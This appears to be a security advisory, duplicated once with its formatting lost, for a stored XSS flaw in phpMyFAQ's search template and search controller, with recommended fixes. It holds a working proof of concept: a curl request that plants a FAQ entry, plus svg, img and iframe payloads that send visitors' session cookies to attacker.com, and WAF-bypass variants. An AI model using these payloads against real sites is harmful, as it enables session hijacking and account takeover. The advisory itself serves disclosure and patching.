Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
Affected Files
| File |
Location |
Issue |
phpmyfaq/assets/templates/default/search.twig |
lines rendering result.question, result.answerPreview |
(Vertical Bar) raw disables autoescape |
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php |
search result processing loop |
html_entity_decode(strip_tags(...)) restores encoded payloads |
phpmyfaq/src/phpMyFAQ/Search.php |
logSearchTerm() |
No HTML sanitization on stored search term (secondary, preventive) |
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
- Retrieves the record from the database
- Applies
strip_tags() → entity-encoded payload passes through
- Applies
html_entity_decode() → raw <svg onload=...> is restored
- Passes the value to
search.twig as result.answerPreview
- Template renders with
| raw → XSS executes
Step 4 — Impact
- Session cookie exfiltration → full account takeover
- Administrator session hijacking (admin visiting search page)
- Persistent attack: payload fires for every visitor until manually removed
- Potential for worm propagation via auto-created FAQ entries
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=<editor_session>' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "searchable-keyword",
"author": "attacker",
"email": "attacker@example.com"
}
}'
Step 2 — Trigger XSS as victim:
https://target.example.com/search.html?search=searchable-keyword
The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">
Impact
- Confidentiality : Session cookie exfiltration and credential theft
via JavaScript execution in victim's browser context.
- Integrity : DOM manipulation, phishing overlay injection.
- Scope : Attack crosses from contributor privilege context
to all site visitors, including administrators.
Recommended Fix
Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig
- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.
Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php
- $data->answer = html_entity_decode(
- strip_tags((string) $data->answer),
- ENT_COMPAT,
- encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
$data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
Fix 3 (Recommended) — Audit all | raw usages in search.twig
The following additional | raw instances should be reviewed and sanitized:
{{ searchTags | raw }} → apply HTML Purifier or remove | raw
{{ relatedTags | raw }} → apply HTML Purifier or remove | raw
{{ pagination | raw }} → safe only if generated entirely server-side with no user input
Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()
$this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+ $this->configuration->getDb()->escape($searchTerm),
+ ENT_QUOTES | ENT_HTML5,
+ 'UTF-8'
+ )
References
Summary
The search result rendering template (
search.twig) outputs FAQ content fieldsresult.questionandresult.answerPreviewusing Twig's| rawfilter, which completely disables the template engine's built-in auto-escaping.A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction,
html_entity_decode(strip_tags(...))restores the raw HTML tags — bypassingstrip_tags()— and the restored payload is injected into every visitor's browser via the| rawoutput.This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects
faq.twig, bypass via regex mismatch inFilter::removeAttributes()) and is not addressed by the 4.1.1 patch.Affected Files
phpmyfaq/assets/templates/default/search.twigresult.question,result.answerPreview(Vertical Bar) rawdisables autoescapephpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.phphtml_entity_decode(strip_tags(...))restores encoded payloadsphpmyfaq/src/phpMyFAQ/Search.phplogSearchTerm()Details
Vulnerability A (Primary):
search.twig—| rawDisables AutoescapeFile:
phpmyfaq/assets/templates/default/search.twigTwig's autoescape encodes all variables by default. The
| rawfilter unconditionally disables this protection. Bothresult.questionandresult.answerPrevieware populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.Seven (7) instances of
| rawexist insearch.twig:{{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'help_search' | translate | raw }}Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier):
SearchController.php—html_entity_decode(strip_tags())BypassFile:
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.phpThis pattern is a known security anti-pattern. When a payload is stored as HTML entities,
strip_tags()passes it through unmodified (it sees no actual tags), andhtml_entity_decode()then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.Bypass walkthrough:
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
strip_tags()→ entity-encoded payload passes throughhtml_entity_decode()→ raw<svg onload=...>is restoredsearch.twigasresult.answerPreview| raw→ XSS executesStep 4 — Impact
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
Step 2 — Trigger XSS as victim:
The search result page renders the restored
<svg onload=...>payload. The attacker's server receives the victim's session cookie.Alternative payloads (for WAF bypass):
Impact
via JavaScript execution in victim's browser context.
to all site visitors, including administrators.
Recommended Fix
Fix 1 (Critical) — Remove
| rawfrom user-controlled fields insearch.twigIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g.,
ezyang/htmlpurifier) before passing data to the template, then retain| rawonly for purified output.Fix 2 (Critical) — Remove
html_entity_decode()from search result pipelineSearchController.phpFix 3 (Recommended) — Audit all
| rawusages insearch.twigThe following additional
| rawinstances should be reviewed and sanitized:{{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user inputFix 4 (Preventive) — Add
htmlspecialchars()inlogSearchTerm()References